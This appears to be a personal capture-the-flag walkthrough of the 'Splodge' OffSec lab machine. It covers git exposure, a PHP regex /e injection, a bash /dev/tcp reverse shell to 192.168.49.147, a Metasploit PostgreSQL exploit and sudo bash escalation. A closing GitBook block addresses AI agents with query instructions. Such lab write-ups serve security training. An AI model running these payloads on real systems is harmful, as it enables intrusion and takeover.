> For the complete documentation index, see [llms.txt](https://cel1s0.gitbook.io/offsec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/get-to-work/splodge.md). # Splodge ### Enumeration ``` 80/tcp open http nginx 1.16.1 |_http-title: 403 Forbidden | http-git: | 192.168.147.108:80/.git/ | Git repository found! | .git/config matched patterns 'user' | .gitignore matched patterns 'bug' 'key' | Repository description: Unnamed repository; edit this file 'description' to name the... | Last commit message: initial commit |_ Project type: node.js application (guessed from .gitignore) | http-methods: |_ Supported Methods: GET HEAD POST |_http-server-header: nginx/1.16.1 ``` ``` http://192.168.147.108/.git/config name = The Splodge email = admin@splodge.offsec ``` Saved and edited contents of /.git/index to index.txt GET /ยงยง HTTP/1.1 Intruder, Sniper Attack - index.txt ``` /database/.gitignore In the response: *.db ``` Blind guess. ``` http://192.168.147.108/database/splodge.db splodge.db: SQLite 3.x database, last written using SQLite version 3008010 ``` Opened it with SQLite Database Browser
idtitlefilterreplacementpassword
1Splodge /x/esystem('id');[REDACTED]
idpost_idauthormessage
21x uid=0(root) gid=0(root) groups=0(root)
/login -> admin:\[REDACTED] Profanity Filter Regex -> /x/e Profanity Replacement -> system('id'); Post a comment x:x In the response: x: uid=997(nginx) gid=995(nginx) groups=995(nginx) ### Initial Access Profanity Filter Regex -> /x/e Profanity Replacement -> system('/bin/bash -i >& /dev/tcp/192.168.49.147/80 0>&1'); Post a comment x:x ### Lateral Movement Enviroment Variables: ``` DB_HOST=127.0.0.1 DB_PORT=5432 APP_NAME=Splodge USER=nginx APP_URL=http://splodge.offsec PATH=/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/bin DB_CONNECTION=pgsql DB_DATABASE=splodge DB_PASSWORD=[REDACTED] DB_USERNAME=postgres HOME=/var/lib/nginx ``` ``` $ ps aux | grep pgsql thesplo+ 1023 0.0 0.9 397396 17472 ? Ss 18:26 0:00 /usr/pgsql-12/bin/postmaster -D /home/thesplodge/.pgdata ``` ``` msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > options Module options (exploit/multi/postgres/postgres_copy_from_program_cmd_exec): Name Current Setting Required Description ---- --------------- -------- ----------- DATABASE template1 yes The database to authenticate a gainst DUMP_TABLE_OUTPUT false no select payload command output from table (For Debugging) PASSWORD [REDACTED] no The password for the specified username. Leave blank for a random password. RHOSTS 192.168.147.108 yes The target host(s), see https: //github.com/rapid7/metasploit -framework/wiki/Using-Metasploit RPORT 5432 yes The target port (TCP) TABLENAME imqV1ya2m yes A table name that does not exi st (To avoid deletion) USERNAME postgres yes The username to authenticate as Payload options (cmd/unix/reverse_perl): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.49.147 yes The listen address (an interface may be speci fied) LPORT 80 yes The listen port Exploit target: Id Name -- ---- 0 Automatic ``` ### PrivEsc ``` [thesplodge@splodge ~]$ sudo -l ... User thesplodge may run the following commands on splodge: (ALL) NOPASSWD: /bin/bash [thesplodge@splodge ~]$ sudo /bin/bash ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/get-to-work/splodge.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.